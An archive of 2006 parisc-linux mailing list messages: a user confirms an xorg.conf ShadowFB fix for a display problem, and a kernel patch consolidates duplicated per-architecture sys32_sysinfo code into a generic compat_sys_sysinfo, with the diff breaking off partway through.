	Fri, 24 Nov 2006 16:01:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C45437D917
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 16:01:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28345-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 16:01:11 -0700 (MST)
Original-Received: from stephenson.dhis.org (ALagny-152-1-80-30.w81-249.abo.wanadoo.fr
	[81.249.230.30])
	by free.linux.hp.com (Postfix) with ESMTP id D98AD7D911
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 16:01:10 -0700 (MST)
Original-Received: from stephenson.dhis.org (localhost [IPv6:::1])
	by stephenson.dhis.org (8.12.11/8.12.11) with ESMTP id kAON12j3001333; 
	Sat, 25 Nov 2006 00:01:02 +0100 (CET)
Original-Received: (from jph@localhost)
	by stephenson.dhis.org (8.12.11/8.12.11) id kAON0vgf003083;
	Sat, 25 Nov 2006 00:00:58 +0100 (CET)
In-Reply-To: <20061124125120.GA27596@miranda.arrow>
X-Mailer: ELM [version 2.4ME+ PL93 (25)]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8UxVfalZPjltCOrBOTU2H0AzMTE2NQnN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24108

> > Sorry, there are not 5 ROWs, but 5 identical COLUMNs.
> > 
> > Thanks in advance for all hints.
> 
> What happens if you put:
> 
>     Option "ShadowFB" "false"
> 
> in the Device section of xorg.conf?
> -- 
> Stuart Brady

Yes, it did the trick !  Many thanks for your hint.

This is a trap. It would be very useful to have a possibility to set/unset
this option in 'dpkg-reconfigure xserver-xorg'. For instance include this
choice in a menu after the mask about "Desired default color depth in bits",
together with some comments about needed setings for the supported HP graphic
cards.

Jean-Pierre
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Generic compat_sys_sysinfo
Date: Fri, 24 Nov 2006 20:43:13 -0500
Lines: 719
Approved: news@gmane.org
Message-ID: <20061125014313.GD11643@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624220 21676 80.91.229.3 (22 Nov 2014 02:43:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:40 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: akpm@osdl.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Nov 2006 01:43:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 25 Nov 2006 02:43:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E4F07D96D;
	Fri, 24 Nov 2006 18:43:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32010-03; Fri, 24 Nov 2006 18:43:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58A757D964;
	Fri, 24 Nov 2006 18:43:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE8067D961
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 18:43:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32008-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 18:43:24 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id DC82D7D95E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Nov 2006 18:43:23 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id F0A9C5840D8;
	Fri, 24 Nov 2006 20:43:22 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 857DF5840D5;
	Fri, 24 Nov 2006 20:43:21 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id DBDCA837DB;
	Fri, 24 Nov 2006 20:43:20 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 49F8E3B06E; Fri, 24 Nov 2006 20:43:14 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /q1efahfYW0+VLuGbmZp+9p0amthc9vE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24109

While tracking a bug for Thibaut Varene, I noticed that almost all
architectures implemented exactly the same sys32_sysinfo... except
parisc, where a bug was to be found in handling of the uptime. So
let's remove a whole whack of code for fun and profit. Cribbed
compat_sys_sysinfo from x86_64's implementation, since I figured
it would be the best tested.

Tested compat_sys_sysinfo() on parisc and the results look sane.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
Some architectures were missing the u16 pad, however, I'm going to
guess that a u16 is aligned on a u32 boundary and thus the padding is
implied there...

 arch/ia64/ia32/ia32_entry.S        |    2 -
 arch/ia64/ia32/sys_ia32.c          |   68 -------------------------------------
 arch/mips/kernel/linux32.c         |   44 -----------------------
 arch/mips/kernel/scall64-n32.S     |    2 -
 arch/mips/kernel/scall64-o32.S     |    2 -
 arch/parisc/kernel/sys_parisc32.c  |   64 ----------------------------------
 arch/parisc/kernel/syscall_table.S |    2 -
 arch/powerpc/kernel/sys_ppc32.c    |   67 ------------------------------------
 arch/s390/kernel/compat_linux.c    |   45 ------------------------
 arch/s390/kernel/compat_wrapper.S  |    6 +--
 arch/s390/kernel/syscalls.S        |    2 -
 arch/sparc64/kernel/sys_sparc32.c  |   64 ----------------------------------
 arch/sparc64/kernel/systbls.S      |    2 -
 arch/x86_64/ia32/ia32entry.S       |    2 -
 arch/x86_64/ia32/sys_ia32.c        |   66 -----------------------------------
 kernel/compat.c                    |   68 +++++++++++++++++++++++++++++++++++++
 16 files changed, 78 insertions(+), 428 deletions(-)

diff --git a/arch/ia64/ia32/ia32_entry.S b/arch/ia64/ia32/ia32_entry.S
index 8d41c2c..d214c36 100644
--- a/arch/ia64/ia32/ia32_entry.S
+++ b/arch/ia64/ia32/ia32_entry.S
@@ -326,7 +326,7 @@ ia32_syscall_table:
 	data8 sys_ni_syscall
 	data8 compat_sys_wait4
 	data8 sys_swapoff	  /* 115 */
-	data8 sys32_sysinfo
+	data8 compat_sys_sysinfo 
 	data8 sys32_ipc
 	data8 sys_fsync
 	data8 sys32_sigreturn
diff --git a/arch/ia64/ia32/sys_ia32.c b/arch/ia64/ia32/sys_ia32.c
index 9d6a3f2..85ac5b3 100644
--- a/arch/ia64/ia32/sys_ia32.c
+++ b/arch/ia64/ia32/sys_ia32.c
@@ -2209,74 +2209,6 @@ sys32_fstat64 (unsigned int fd, struct s
 	return ret;
 }
 
-struct sysinfo32 {
-	s32 uptime;
-	u32 loads[3];
-	u32 totalram;
-	u32 freeram;
-	u32 sharedram;
-	u32 bufferram;
-	u32 totalswap;
-	u32 freeswap;
-	u16 procs;
-	u16 pad;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[8];
-};
-
-asmlinkage long
-sys32_sysinfo (struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	long ret, err;
-	int bitcount = 0;
-	mm_segment_t old_fs = get_fs();
-
-	set_fs(KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *) &s);
-	set_fs(old_fs);
-	/* Check to see if any memory value is too large for 32-bit and
-	 * scale down if needed.
-	 */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-		while (s.mem_unit < PAGE_SIZE) {
-			s.mem_unit <<= 1;
-			bitcount++;
-		}
-		s.totalram >>= bitcount;
-		s.freeram >>= bitcount;
-		s.sharedram >>= bitcount;
-		s.bufferram >>= bitcount;
-		s.totalswap >>= bitcount;
-		s.freeswap >>= bitcount;
-		s.totalhigh >>= bitcount;
-		s.freehigh >>= bitcount;
-	}
-
-	if (!access_ok(VERIFY_WRITE, info, sizeof(*info)))
-		return -EFAULT;
-
-	err  = __put_user(s.uptime, &info->uptime);
-	err |= __put_user(s.loads[0], &info->loads[0]);
-	err |= __put_user(s.loads[1], &info->loads[1]);
-	err |= __put_user(s.loads[2], &info->loads[2]);
-	err |= __put_user(s.totalram, &info->totalram);
-	err |= __put_user(s.freeram, &info->freeram);
-	err |= __put_user(s.sharedram, &info->sharedram);
-	err |= __put_user(s.bufferram, &info->bufferram);
-	err |= __put_user(s.totalswap, &info->totalswap);
-	err |= __put_user(s.freeswap, &info->freeswap);
-	err |= __put_user(s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 asmlinkage long
 sys32_sched_rr_get_interval (pid_t pid, struct compat_timespec __user *interval)
 {
diff --git a/arch/mips/kernel/linux32.c b/arch/mips/kernel/linux32.c
index 7a3ebbe..e3677b9 100644
--- a/arch/mips/kernel/linux32.c
+++ b/arch/mips/kernel/linux32.c
@@ -193,50 +193,6 @@ sysn32_waitid(int which, compat_pid_t pi
 	return ret;
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        u16 procs;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[8];
-};
-
-asmlinkage int sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	mm_segment_t old_fs = get_fs ();
-
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *)&s);
-	set_fs (old_fs);
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 #define RLIM_INFINITY32	0x7fffffff
 #define RESOURCE32(x) ((x > RLIM_INFINITY32) ? RLIM_INFINITY32 : x)
 
diff --git a/arch/mips/kernel/scall64-n32.S b/arch/mips/kernel/scall64-n32.S
index 6bb9f91..9bc5519 100644
--- a/arch/mips/kernel/scall64-n32.S
+++ b/arch/mips/kernel/scall64-n32.S
@@ -217,7 +217,7 @@ EXPORT(sysn32_call_table)
 	PTR	sys32_gettimeofday
 	PTR	compat_sys_getrlimit		/* 6095 */
 	PTR	compat_sys_getrusage
-	PTR	sys32_sysinfo
+	PTR	compat_sys_sysinfo
 	PTR	compat_sys_times
 	PTR	sys32_ptrace
 	PTR	sys_getuid			/* 6100 */
diff --git a/arch/mips/kernel/scall64-o32.S b/arch/mips/kernel/scall64-o32.S
index 28aa4fc..79b7196 100644
--- a/arch/mips/kernel/scall64-o32.S
+++ b/arch/mips/kernel/scall64-o32.S
@@ -321,7 +321,7 @@ sys_call_table:
 	PTR	sys_ni_syscall			/* sys_vm86 */
 	PTR	compat_sys_wait4
 	PTR	sys_swapoff			/* 4115 */
-	PTR	sys32_sysinfo
+	PTR	compat_sys_sysinfo
 	PTR	sys32_ipc
 	PTR	sys_fsync
 	PTR	sys32_sigreturn
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 29be437..ce3245f 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -579,70 +579,6 @@ asmlinkage int sys32_sendfile64(int out_
 }
 
 
-struct sysinfo32 {
-	s32 uptime;
-	u32 loads[3];
-	u32 totalram;
-	u32 freeram;
-	u32 sharedram;
-	u32 bufferram;
-	u32 totalswap;
-	u32 freeswap;
-	unsigned short procs;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[12];
-};
-
-/* We used to call sys_sysinfo and translate the result.  But sys_sysinfo
- * undoes the good work done elsewhere, and rather than undoing the
- * damage, I decided to just duplicate the code from sys_sysinfo here.
- */
-
-asmlinkage int sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo val;
-	int err;
-	unsigned long seq;
-
-	/* We don't need a memset here because we copy the
-	 * struct to userspace once element at a time.
-	 */
-
-	do {
-		seq = read_seqbegin(&xtime_lock);
-		val.uptime = jiffies / HZ;
-
-		val.loads[0] = avenrun[0] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[1] = avenrun[1] << (SI_LOAD_SHIFT - FSHIFT);
-		val.loads[2] = avenrun[2] << (SI_LOAD_SHIFT - FSHIFT);
-
-		val.procs = nr_threads;
-	} while (read_seqretry(&xtime_lock, seq));
-
-
-	si_meminfo(&val);
-	si_swapinfo(&val);
-	
-	err = put_user (val.uptime, &info->uptime);
-	err |= __put_user (val.loads[0], &info->loads[0]);
-	err |= __put_user (val.loads[1], &info->loads[1]);
-	err |= __put_user (val.loads[2], &info->loads[2]);
-	err |= __put_user (val.totalram, &info->totalram);
-	err |= __put_user (val.freeram, &info->freeram);
-	err |= __put_user (val.sharedram, &info->sharedram);
-	err |= __put_user (val.bufferram, &info->bufferram);
-	err |= __put_user (val.totalswap, &info->totalswap);
-	err |= __put_user (val.freeswap, &info->freeswap);
-	err |= __put_user (val.procs, &info->procs);
-	err |= __put_user (val.totalhigh, &info->totalhigh);
-	err |= __put_user (val.freehigh, &info->freehigh);
-	err |= __put_user (val.mem_unit, &info->mem_unit);
-	return err ? -EFAULT : 0;
-}
-
-
 /* lseek() needs a wrapper because 'offset' can be negative, but the top
  * half of the argument has been zeroed by syscall.S.
  */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index c91605b..d4523c9 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -197,7 +197,7 @@ #endif
 	/* struct rusage contains longs... */
 	ENTRY_COMP(wait4)
 	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_DIFF(sysinfo)
+	ENTRY_COMP(sysinfo)
 	ENTRY_SAME(shutdown)
 	ENTRY_SAME(fsync)
 	ENTRY_SAME(madvise)
diff --git a/arch/powerpc/kernel/sys_ppc32.c b/arch/powerpc/kernel/sys_ppc32.c
index d15c33e..aa6149f 100644
--- a/arch/powerpc/kernel/sys_ppc32.c
+++ b/arch/powerpc/kernel/sys_ppc32.c
@@ -197,73 +197,6 @@ static inline long put_tv32(struct compa
 		 __put_user(i->tv_usec, &o->tv_usec)));
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pad;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[20-2*sizeof(int)-sizeof(int)];
-};
-
-asmlinkage long compat_sys_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	int bitcount=0;
-	mm_segment_t old_fs = get_fs ();
-	
-	/* The __user cast is valid due to set_fs() */
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *)&s);
-	set_fs (old_fs);
-
-	/* Check to see if any memory value is too large for 32-bit and
-         * scale down if needed.
-         */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-	    while (s.mem_unit < PAGE_SIZE) {
-		s.mem_unit <<= 1;
-		bitcount++;
-	    }
-	    s.totalram >>=bitcount;
-	    s.freeram >>= bitcount;
-	    s.sharedram >>= bitcount;
-	    s.bufferram >>= bitcount;
-	    s.totalswap >>= bitcount;
-	    s.freeswap >>= bitcount;
-	    s.totalhigh >>= bitcount;
-	    s.freehigh >>= bitcount;
-	}
-
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	
-	return ret;
-}
-
 
 
 
diff --git a/arch/s390/kernel/compat_linux.c b/arch/s390/kernel/compat_linux.c
index 295d2bb..91e07ea 100644
--- a/arch/s390/kernel/compat_linux.c
+++ b/arch/s390/kernel/compat_linux.c
@@ -392,51 +392,6 @@ int cp_compat_stat(struct kstat *stat, s
 	return err;
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pads;
-	u32 totalhigh;
-	u32 freehigh;
-	unsigned int mem_unit;
-        char _f[8];
-};
-
-asmlinkage long sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	mm_segment_t old_fs = get_fs ();
-	
-	set_fs (KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *) &s);
-	set_fs (old_fs);
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 asmlinkage long sys32_sched_rr_get_interval(compat_pid_t pid,
 				struct compat_timespec __user *interval)
 {
diff --git a/arch/s390/kernel/compat_wrapper.S b/arch/s390/kernel/compat_wrapper.S
index 71c1127..7e61fbe 100644
--- a/arch/s390/kernel/compat_wrapper.S
+++ b/arch/s390/kernel/compat_wrapper.S
@@ -517,10 +517,10 @@ sys32_swapoff_wrapper:
 	llgtr	%r2,%r2			# const char *
 	jg	sys_swapoff		# branch to system call
 
-	.globl	sys32_sysinfo_wrapper
-sys32_sysinfo_wrapper:
+	.globl	compat_sys_sysinfo_wrapper
+compat_sys_sysinfo_wrapper:
 	llgtr	%r2,%r2			# struct sysinfo_emu31 *
-	jg	sys32_sysinfo		# branch to system call
+	jg	compat_sys_sysinfo	# branch to system call
 
 	.globl	sys32_ipc_wrapper
 sys32_ipc_wrapper:
diff --git a/arch/s390/kernel/syscalls.S b/arch/s390/kernel/syscalls.S
index a4ceae3..a52c444 100644
--- a/arch/s390/kernel/syscalls.S
+++ b/arch/s390/kernel/syscalls.S
@@ -124,7 +124,7 @@ NI_SYSCALL							/* old "idle" system ca
 NI_SYSCALL							/* vm86old for i386 */
 SYSCALL(sys_wait4,sys_wait4,compat_sys_wait4_wrapper)
 SYSCALL(sys_swapoff,sys_swapoff,sys32_swapoff_wrapper)		/* 115 */
-SYSCALL(sys_sysinfo,sys_sysinfo,sys32_sysinfo_wrapper)
+SYSCALL(sys_sysinfo,sys_sysinfo,compat_sys_sysinfo_wrapper)
 SYSCALL(sys_ipc,sys_ipc,sys32_ipc_wrapper)
 SYSCALL(sys_fsync,sys_fsync,sys32_fsync_wrapper)
 SYSCALL(sys_sigreturn_glue,sys_sigreturn_glue,sys32_sigreturn_glue)
diff --git a/arch/sparc64/kernel/sys_sparc32.c b/arch/sparc64/kernel/sys_sparc32.c
index 16ff6ff..77811e9 100644
--- a/arch/sparc64/kernel/sys_sparc32.c
+++ b/arch/sparc64/kernel/sys_sparc32.c
@@ -459,70 +459,6 @@ asmlinkage long compat_sys_sysfs(int opt
 	return sys_sysfs(option, arg1, arg2);
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pad;
-	u32 totalhigh;
-	u32 freehigh;
-	u32 mem_unit;
-	char _f[20-2*sizeof(int)-sizeof(int)];
-};
-
-asmlinkage long sys32_sysinfo(struct sysinfo32 __user *info)
-{
-	struct sysinfo s;
-	int ret, err;
-	int bitcount = 0;
-	mm_segment_t old_fs = get_fs ();
-	
-	set_fs(KERNEL_DS);
-	ret = sys_sysinfo((struct sysinfo __user *) &s);
-	set_fs(old_fs);
-	/* Check to see if any memory value is too large for 32-bit and
-         * scale down if needed.
-         */
-	if ((s.totalram >> 32) || (s.totalswap >> 32)) {
-		while (s.mem_unit < PAGE_SIZE) {
-			s.mem_unit <<= 1;
-			bitcount++;
-		}
-		s.totalram >>= bitcount;
-		s.freeram >>= bitcount;
-		s.sharedram >>= bitcount;
-		s.bufferram >>= bitcount;
-		s.totalswap >>= bitcount;
-		s.freeswap >>= bitcount;
-		s.totalhigh >>= bitcount;
-		s.freehigh >>= bitcount;
-	}
-
-	err = put_user (s.uptime, &info->uptime);
-	err |= __put_user (s.loads[0], &info->loads[0]);
-	err |= __put_user (s.loads[1], &info->loads[1]);
-	err |= __put_user (s.loads[2], &info->loads[2]);
-	err |= __put_user (s.totalram, &info->totalram);
-	err |= __put_user (s.freeram, &info->freeram);
-	err |= __put_user (s.sharedram, &info->sharedram);
-	err |= __put_user (s.bufferram, &info->bufferram);
-	err |= __put_user (s.totalswap, &info->totalswap);
-	err |= __put_user (s.freeswap, &info->freeswap);
-	err |= __put_user (s.procs, &info->procs);
-	err |= __put_user (s.totalhigh, &info->totalhigh);
-	err |= __put_user (s.freehigh, &info->freehigh);
-	err |= __put_user (s.mem_unit, &info->mem_unit);
-	if (err)
-		return -EFAULT;
-	return ret;
-}
-
 asmlinkage long compat_sys_sched_rr_get_interval(compat_pid_t pid, struct compat_timespec __user *interval)
 {
 	struct timespec t;
diff --git a/arch/sparc64/kernel/systbls.S b/arch/sparc64/kernel/systbls.S
index 9a80267..948b7d2 100644
--- a/arch/sparc64/kernel/systbls.S
+++ b/arch/sparc64/kernel/systbls.S
@@ -61,7 +61,7 @@ sys_call_table32:
 	.word sys32_epoll_wait, sys32_ioprio_set, sys_getppid, sys32_sigaction, sys_sgetmask
 /*200*/	.word sys32_ssetmask, sys_sigsuspend, compat_sys_newlstat, sys_uselib, compat_sys_old_readdir
 	.word sys32_readahead, sys32_socketcall, sys32_syslog, sys32_lookup_dcookie, sys32_fadvise64
-/*210*/	.word sys32_fadvise64_64, sys32_tgkill, sys32_waitpid, sys_swapoff, sys32_sysinfo
+/*210*/	.word sys32_fadvise64_64, sys32_tgkill, sys32_waitpid, sys_swapoff, compat_sys_sysinfo
 	.word sys32_ipc, sys32_sigreturn, sys_clone, sys32_ioprio_get, compat_sys_adjtimex
 /*220*/	.word sys32_sigprocmask, sys_ni_syscall, sys32_delete_module, sys_ni_syscall, sys32_getpgid
 	.word sys32_bdflush, sys32_sysfs, sys_nis_syscall, sys32_setfsuid16, sys32_setfsgid16
diff --git a/arch/x86_64/ia32/ia32entry.S b/arch/x86_64/ia32/ia32entry.S
index 9fa991a..89519d2 100644
--- a/arch/x86_64/ia32/ia32entry.S
+++ b/arch/x86_64/ia32/ia32entry.S
@@ -515,7 +515,7 @@ #endif
 	.quad sys32_vm86_warning	/* vm86old */ 
 	.quad compat_sys_wait4
 	.quad sys_swapoff		/* 115 */
-	.quad sys32_sysinfo
+	.quad compat_sys_sysinfo
 	.quad sys32_ipc
 	.quad sys_fsync
 	.quad stub32_sigreturn
diff --git a/arch/x86_64/ia32/sys_ia32.c b/arch/x86_64/ia32/sys_ia32.c
index db10734..061a052 100644
--- a/arch/x86_64/ia32/sys_ia32.c
+++ b/arch/x86_64/ia32/sys_ia32.c
@@ -523,72 +523,6 @@ sys32_sysfs(int option, u32 arg1, u32 ar
 	return sys_sysfs(option, arg1, arg2);
 }
 
-struct sysinfo32 {
-        s32 uptime;
-        u32 loads[3];
-        u32 totalram;
-        u32 freeram;
-        u32 sharedram;
-        u32 bufferram;
-        u32 totalswap;
-        u32 freeswap;
-        unsigned short procs;
-	unsigned short pad; 
-        u32 totalhigh;
-        u32 freehigh;
-        u32 mem_unit;
